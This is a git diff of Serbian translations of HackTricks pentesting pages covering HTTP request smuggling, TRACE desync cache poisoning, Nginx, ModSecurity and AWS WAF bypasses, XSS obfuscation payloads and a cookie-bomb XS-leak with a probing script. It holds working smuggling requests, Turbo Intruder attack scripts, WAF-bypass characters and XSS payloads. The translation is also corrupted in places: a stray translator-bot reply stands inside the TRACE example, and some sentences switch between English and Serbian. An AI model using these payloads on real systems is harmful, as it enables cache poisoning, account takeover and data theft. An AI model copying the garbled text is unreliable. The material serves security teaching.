**Koja je razlika između web cache poisoning i web cache deception?** > -> - U **web cache poisoning-u**, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije. -> - U **web cache deception-u**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša. +> - U **web cache poisoning**, napadač izaziva da aplikacija sačuva neki zlonamerni sadržaj u kešu, i taj sadržaj se zatim isporučuje iz keša drugim korisnicima aplikacije. +> - U **web cache deception**, napadač izaziva da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač potom preuzme taj sadržaj iz keša. -Napadač kreira smuggled zahtev koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer: +Napadač kreira smuggled request koji preuzme osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -622,17 +624,17 @@ Napadač kreira smuggled zahtev koji preuzima osetljiv sadržaj specifičan za k `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -Ako ovaj smugglovani zahtev otrova keš unos namenjen za statički sadržaj (npr., `/someimage.png`), osetljivi podaci žrtve sa `/private/messages` mogli bi biti keširani pod unosom keša statičkog sadržaja. Kao posledica, napadač bi potencijalno mogao da povrati ove keširane osetljive podatke. +Ako ovaj smuggled request otruje cache entry namenjen static content-u (npr. `/someimage.png`), osetljivi podaci žrtve iz `/private/messages` mogu biti keširani pod cache entry-jem statičkog sadržaja. Kao posledica, attacker bi potencijalno mogao da preuzme te keširane osetljive podatke. ### Zloupotreba TRACE putem HTTP Request Smuggling -[**U ovom postu**](https://portswigger.net/research/trace-desync-attack) se sugeriše da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je putem HTTP Request Smuggling. To je zato što će ova metoda reflektovati bilo koji header poslat serveru kao deo tela odgovora. Na primer: +[**In this post**](https://portswigger.net/research/trace-desync-attack) se sugeriše da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je pomoću HTTP Request Smuggling. To je zato što će ova metoda vratiti svaki header poslat serveru kao deo tela odgovora. Na primer: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` -I'm ready to assist you with the translation. Please provide the text you would like me to translate. +Pošaljite sadržaj fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem na srpski. ``` HTTP/1.1 200 OK Content-Type: message/http @@ -643,15 +645,15 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -Primer kako iskoristiti ovo ponašanje bio bi da se **prokrijumčari prvo HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **odražavati poslati podaci**.\ -Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, čime se odražavaju proizvoljni podaci** u odgovoru.\ -Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi to moglo biti **iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod**. +Primer kako zloupotrebiti ovo ponašanje bio bi da **smuggle first a HEAD request**. Ovaj request će biti odgovorен samo sa **headers** of a GET request (**`Content-Type`** among them). I **smuggle immediately after the HEAD a TRACE request**, koje će biti **reflecting the sent dat**a.\ +Pošto HEAD response sadrži `Content-Length` header, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** u odgovoru.\ +Ovaj response će biti poslat sledećem request-u preko konekcije, pa ovo može biti **used in a cached JS file for example to inject arbitrary JS code**. -### Iskorišćavanje TRACE putem HTTP Response Splitting +### Abusing TRACE via HTTP Response Splitting -Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) koji sugeriše još jedan način da se iskoristi TRACE metoda. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neka odražena podaci** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev. +Nastavak praćenja [**this post**](https://portswigger.net/research/trace-desync-attack) predlaže još jedan način zloupotrebe TRACE method. Kao što je komentarisano, smuggling HEAD request-a i TRACE request-a omogućava **control some reflected data** u odgovoru na HEAD request. Dužina tela HEAD request-a je u suštini naznačena u `Content-Length` header-u i formira se odgovorom na TRACE request. -Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži važeći HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti iskorišćeno za izvođenje trovanja keša). +Dakle, nova ideja je da, znajući ovaj `Content-Length` i podatke iz TRACE odgovora, moguće je učiniti da TRACE odgovor sadrži validan HTTP response nakon poslednjeg bajta definisanog `Content-Length`-om, omogućavajući napadaču da potpuno kontroliše request za sledeći response (što se može iskoristiti za cache poisoning). Primer: ``` @@ -672,7 +674,7 @@ Content-Length: 44\r\n \r\n ``` -Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom HEAD tela, a kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje): +Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom tela HEAD odgovora, i kada Content-Length HEAD odgovora završi, validan HTTP odgovor je smuggled): ``` HTTP/1.1 200 OK Content-Type: text/html @@ -693,16 +695,16 @@ Content-Length: 50 ``` -### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation +### Korišćenje HTTP Request Smuggling-a pomoću HTTP Response Desynchronisation -Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite. Pokušajte ove druge metode eksploatacije: +Pronašli ste neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Probajte ove druge metode eksploatacije: {{#ref}} ../http-response-smuggling-desync.md {{#endref}} -### Other HTTP Request Smuggling Techniques +### Ostale HTTP Request Smuggling tehnike - Browser HTTP Request Smuggling (Client Side) @@ -722,7 +724,7 @@ request-smuggling-in-http-2-downgrades.md ### CL.TE -Sa [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) +Iz [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): @@ -763,7 +765,7 @@ table.add(req) ``` ### TE.CL -From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) +Izvor: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -807,14 +809,14 @@ table.add(req) ``` ## Alati -- HTTP Hacker (Burp BApp Store) – vizualizacija spajanja/okviranja i niskonivoa HTTP ponašanja +- HTTP Hacker (Burp BApp Store) – za vizuelizaciju concatenation/framing i niskonivnog HTTP ponašanja - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?" - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) -- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je HTTP Fuzzer zasnovan na gramatici koji je koristan za pronalaženje čudnih razlika u spajanju zahteva. +- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je zasnovan na gramatici i predstavlja HTTP Fuzzer koristan za pronalaženje neobičnih request smuggling neslaganja. ## Reference @@ -827,7 +829,7 @@ table.add(req) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- Pazite na lažno lažno-pozitivan rezultat: kako razlikovati HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) - [https://http1mustdie.com/](https://http1mustdie.com/) - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 44550daba..c09358a7a 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -1,11 +1,11 @@ -# Proxy / WAF Protections Bypass +# Proxy / WAF Zaobilaženje zaštita {{#include ../banners/hacktricks-training.md}} -## Bypass Nginx ACL Rules with Pathname Manipulation +## Zaobilaženje Nginx ACL pravila pomoću Pathname Manipulation -Tehnike [iz ove studije](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). +Tehnike [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). Primer Nginx pravila: ```plaintext @@ -17,37 +17,37 @@ location = /admin/ { deny all; } ``` -Da bi se sprečili zaobilaženja, Nginx vrši normalizaciju putanje pre nego što je proveri. Međutim, ako backend server vrši drugačiju normalizaciju (uklanjajući karaktere koje nginx ne uklanja), može biti moguće zaobići ovu odbranu. +Da bi sprečio zaobilaženja Nginx izvodi normalizaciju putanje pre nego što je proveri. Međutim, ako backend server izvrši drugačiju normalizaciju (uklanjajući karaktere koje nginx ne uklanja), može biti moguće zaobići ovu zaštitu. ### **NodeJS - Express** -| Nginx Verzija | **Node.js Karakteri za zaobilaženje** | -| ------------- | ----------------------------- | -| 1.22.0 | `\xA0` | -| 1.21.6 | `\xA0` | -| 1.20.2 | `\xA0`, `\x09`, `\x0C` | -| 1.18.0 | `\xA0`, `\x09`, `\x0C` | -| 1.16.1 | `\xA0`, `\x09`, `\x0C` | +| Nginx verzija | **Node.js karakteri za zaobilaženje** | +| ------------- | ------------------------------------- | +| 1.22.0 | `\xA0` | +| 1.21.6 | `\xA0` | +| 1.20.2 | `\xA0`, `\x09`, `\x0C` | +| 1.18.0 | `\xA0`, `\x09`, `\x0C` | +| 1.16.1 | `\xA0`, `\x09`, `\x0C` | ### **Flask** -| Nginx Verzija | **Flask Karakteri za zaobilaženje** | -| ------------- | -------------------------------------------------------------- | -| 1.22.0 | `\x85`, `\xA0` | -| 1.21.6 | `\x85`, `\xA0` | -| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | -| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | -| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| Nginx verzija | **Flask karakteri za zaobilaženje** | +| ------------- | ------------------------------------------------------------------ | +| 1.22.0 | `\x85`, `\xA0` | +| 1.21.6 | `\x85`, `\xA0` | +| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | ### **Spring Boot** -| Nginx Verzija | **Spring Boot Karakteri za zaobilaženje** | -| ------------- | --------------------------------- | -| 1.22.0 | `;` | -| 1.21.6 | `;` | -| 1.20.2 | `\x09`, `;` | -| 1.18.0 | `\x09`, `;` | -| 1.16.1 | `\x09`, `;` | +| Nginx verzija | **Spring Boot karakteri za zaobilaženje** | +| ------------- | ----------------------------------------- | +| 1.22.0 | `;` | +| 1.21.6 | `;` | +| 1.20.2 | `\x09`, `;` | +| 1.18.0 | `\x09`, `;` | +| 1.16.1 | `\x09`, `;` | ### **PHP-FPM** @@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } ``` -Nginx je konfigurisan da blokira pristup `/admin.php`, ali je moguće zaobići ovo pristupom `/admin.php/index.php`. +Nginx je konfigurisan da blokira pristup `/admin.php`, ali je moguće bypass ovog ograničenja pristupom `/admin.php/index.php`. ### Kako sprečiti ```plaintext @@ -74,20 +74,20 @@ deny all; ### Path Confusion -[**U ovom postu**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) objašnjeno je da je ModSecurity v3 (do 3.0.12) **nepravilno implementirao varijablu `REQUEST_FILENAME`** koja je trebala da sadrži pristupljenu putanju (do početka parametara). To je zato što je izvršio URL dekodiranje da bi dobio putanju.\ -Zbog toga, zahtev kao `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` jer se `%3f` transformiše u `?`, završavajući URL putanju, ali zapravo putanja koju server prima biće `/foo%3f';alert(1);foo=`. +[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) je objašnjeno da ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** varijablu koja je trebalo da sadrži pristupljenu putanju (do početka parametara). Ovo je zato što je izvršavao URL decode da dobije putanju.\ +Dakle, zahtev kao `http://example.com/foo%3f';alert(1);foo=` u mod security će pretpostaviti da je putanja samo `/foo` zato što se `%3f` transformiše u `?` koji završava URL putanju, ali zapravo putanja koju će server primiti biće `/foo%3f';alert(1);foo=`. -Varijable `REQUEST_BASENAME` i `PATH_INFO` su takođe bile pogođene ovim greškom. +Varijable `REQUEST_BASENAME` i `PATH_INFO` su takođe bile pogođene ovim bagom. -Nešto slično se dogodilo u verziji 2 Mod Security koja je omogućila zaobilaženje zaštite koja je sprečavala korisnike da pristupaju datotekama sa specifičnim ekstenzijama vezanim za rezervne datoteke (kao što su `.bak`) jednostavno slanjem tačke URL kodirane u `%2e`, na primer: `https://example.com/backup%2ebak`. +Nešto slično se desilo u verziji 2 Mod Security koja je dozvoljavala zaobilaženje zaštite koja je sprečavala korisnika da pristupi fajlovima sa određenim ekstenzijama vezanim za backup fajlove (kao što je `.bak`) jednostavno slanjem tačke URL enkodovane kao `%2e`, na primer: `https://example.com/backup%2ebak`. ## Bypass AWS WAF ACL ### Malformed Header -[Ova istraživanja](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) pominje da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavljima slanjem "neispravnog" zaglavlja koje nije pravilno analizirano od strane AWS-a, ali jeste od strane backend servera. +[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) pominje da je bilo moguće zaobići AWS WAF rules primenjivane na HTTP headers slanjem "malformed" headera koji nije bio pravilno parsiran od strane AWS, ali jeste od strane backend servera. -Na primer, slanjem sledećeg zahteva sa SQL injekcijom u zaglavlju X-Query: +For example, sending the following request with a SQL injection in the header X-Query: ```http GET / HTTP/1.1\r\n Host: target.com\r\n @@ -96,51 +96,52 @@ X-Query: Value\r\n Connection: close\r\n \r\n ``` -Moguće je bilo zaobići AWS WAF jer nije razumeo da je sledeća linija deo vrednosti zaglavlja, dok je NODEJS server to razumeo (ovo je ispravljeno). +It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed). -## Opšti WAF zaobilaženja +## Generički WAF bypasses ### Ograničenja veličine zahteva -Obično WAF-ovi imaju određeno ograničenje dužine zahteva koje proveravaju, i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev. +Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request. -- Za AWS WAF, možete [**proveriti dokumentaciju**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** +- Za AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** -
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od Application Load Balancer i AWS AppSync8 KB
Maksimalna veličina tela web zahteva koja može biti pregledana za zaštitu od CloudFront, API Gateway, Amazon Cognito, App Runner i Verified Access**64 KB
+
Maksimalna veličina tela web zahteva koja može biti pregledana za Application Load Balancer i AWS AppSync zaštite8 KB
Maksimalna veličina tela web zahteva koja može biti pregledana za CloudFront, API Gateway, Amazon Cognito, App Runner, i Verified Access zaštite**64 KB
-- Iz [**Azure dokumenata**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** +- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** -Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od **128 KB** isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine: +Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit: -Ako je **mod prevencije**: Zapisuje i blokira zahtev.\ -Ako je **mod detekcije**: Pregleda do ograničenja, ignoriše ostatak i beleži ako `Content-Length` premaši ograničenje. +If p**revention mode**: Beleži i blokira zahtev.\ +If **detection mode**: Pregleda do limita, ignoriše ostatak, i loguje ako `Content-Length` prekorači limit. -- Iz [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** +- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** -Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničenje do 128KB dodavanjem naprednih metapodataka. +By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata. -- Iz [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** +- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** -Do 128KB. +Up to 128KB. -### Rupe u inspekciji statičkih resursa (.js GET-ovi) +### Static assets inspection gaps (.js GETs) -Neki CDN/WAF stackovi primenjuju slabu ili nikakvu inspekciju sadržaja na GET zahteve za statičke resurse (na primer, putanje koje se završavaju sa `.js`), dok i dalje primenjuju globalna pravila poput ograničenja brzine i reputacije IP adresa. U kombinaciji sa automatskim keširanjem statičkih ekstenzija, ovo se može zloupotrebiti za isporuku ili sejanje zlonamernih varijanti koje utiču na naredne HTML odgovore. +Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with `.js`), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses. -Praktične upotrebe: +Practical use cases: -- Pošaljite terete u nepouzdanim zaglavljima (npr., `User-Agent`) na GET ka `.js` putanji kako biste izbegli inspekciju sadržaja, a zatim odmah zatražite glavni HTML da biste uticali na keširanu varijantu. -- Koristite svežu/čistu IP adresu; kada je IP označen, promene u rutiranju mogu učiniti tehniku nepouzdano. -- U Burp Repeater-u, koristite "Send group in parallel" (stil jednog paketa) da biste trkali dva zahteva (`.js` zatim HTML) kroz istu front-end putanju. +- Pošaljite payloads u untrusted headers (npr. `User-Agent`) na GET ka `.js` putanji da izbegnete inspekciju sadržaja, pa odmah zatražite glavni HTML da utičete na keširanu varijantu. +- Koristite fresh/clean IP; jednom kada je IP označen, promene u routingu mogu učiniti tehniku nepouzdanom. +- U Burp Repeater-u, koristite "Send group in parallel" (single-packet style) da utrčite ta dva zahteva (`.js` zatim HTML) kroz isti front-end put. -Ovo se dobro uklapa sa trovanjem keša refleksijom zaglavlja. Pogledajte: +This pairs well with header-reflection cache poisoning. See: -- {{#ref}} +{{#ref}} cache-deception/README.md {{#endref}} -- [Kako sam pronašao 0-Click preuzimanje naloga u javnom BBP-u i iskoristio to za pristup funkcionalnostima na Admin nivou](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -### Obfuskacija +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) + +### Obfuscation ```bash # IIS, ASP Clasic <%s%cr%u0131pt> == #changing the case of the tag < #prepending an additional "<" @@ -219,7 +219,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ``` ## Alati -- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp dodatak za dodavanje bespotrebnih podataka u zahteve kako bi se zaobišli WAF-ovi po dužini +- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin za dodavanje beskorisnih podataka u zahteve radi zaobilaženja WAFs pomoću dužine ## Reference @@ -227,7 +227,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [Kako sam pronašao 0-Click preuzimanje naloga u javnom BBP-u i iskoristio ga za pristup funkcionalnostima na Admin nivou](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md index c28ce53af..90b306bbc 100644 --- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md +++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md @@ -2,7 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -Sledeći **script** preuzet iz [**ovde**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) koristi funkcionalnost koja omogućava korisniku da **ubaci bilo koji broj kolačića**, a zatim učitava datoteku kao script znajući da će pravi odgovor biti veći od lažnog. Ako je uspešno, odgovor je preusmeravanje sa rezultantnim URL-om koji je duži, **prevelik da bi ga server obradio, pa vraća grešku http status koda**. Ako pretraga ne uspe, ništa se neće desiti jer je URL kratak. +Ova tehnika kombinuje: +- Cookie bombing: punjenjem pregledača žrtve sa mnogo/velikih kolačića za ciljnu origin tako da naredni zahtevi zadiru u server/ograničenja zahteva (veličina header-a zahteva, veličina URL-a u redirect-ovima itd.). +- Error-event oracle: ispitivanjem cross-origin endpoint-a pomoću ``` +Zašto popup (window.open)? +- Moderni pretraživači sve češće blokiraju third-party cookies. Otvaranje top-level prozora prema targetu čini cookies first‑party, pa će Set-Cookie odgovori od targeta ostati važeći, omogućavajući cookie-bomb korak čak i uz ograničenja third‑party cookies. + +Generički probing pomoćnik +Ako već imate način da postavite mnogo cookies na target origin (first-party), možete ponovo iskoristiti ovaj minimalni oracle protiv bilo kog endpointa čiji uspeh/neuspeh dovodi do različitih mrežnih ishoda (status/MIME/redirect): +```js +function probeError(url) { +return new Promise((resolve) => { +const s = document.createElement('script'); +s.src = url; +s.onload = () => resolve(false); // loaded successfully +s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked) +document.head.appendChild(s); +}); +} +``` +Saveti za izgradnju oracle +- Naterajte “pozitivno” stanje da bude teže: lančajte dodatno preusmeravanje (redirect) samo kada je uslov tačan, ili učinite da redirect URL odražava neograničen korisnički unos tako da raste sa pogodjenim prefiksom. +- Napumpajte zaglavlja: ponavljajte cookie bombing dok se na “težem” putu ne uoči konzistentna greška. Serveri obično ograničavaju veličinu zaglavlja i zakažu ranije kada je prisutno mnogo cookies. +- Stabilizujte: pokrenite više paralelnih operacija postavljanja cookie-ja i sondirajte ponavljano kako biste izravnali šum u tajmingu i keširanju. + +Povezani XS-Search trikovi +- URL length based oracles (no cookies needed) mogu se kombinovati ili koristiti umesto toga kada možete prisiliti veoma dug cilj zahteva: + +{{#ref}} +url-max-length-client-side.md +{{#endref}} + +Odbrane i ojačavanje +- Učinite odgovore za uspeh i neuspeh nerazlučivim: + - Izbegavajte uslovna preusmeravanja ili velike razlike u veličini odgovora između stanja. Vraćajte isti status, isti Content-Type i sličnu dužinu tela bez obzira na stanje. +- Blokirajte cross-site subresource probe: + - SameSite cookies: postavite osetljive cookie-je na SameSite=Lax ili Strict tako da subresource zahtevi poput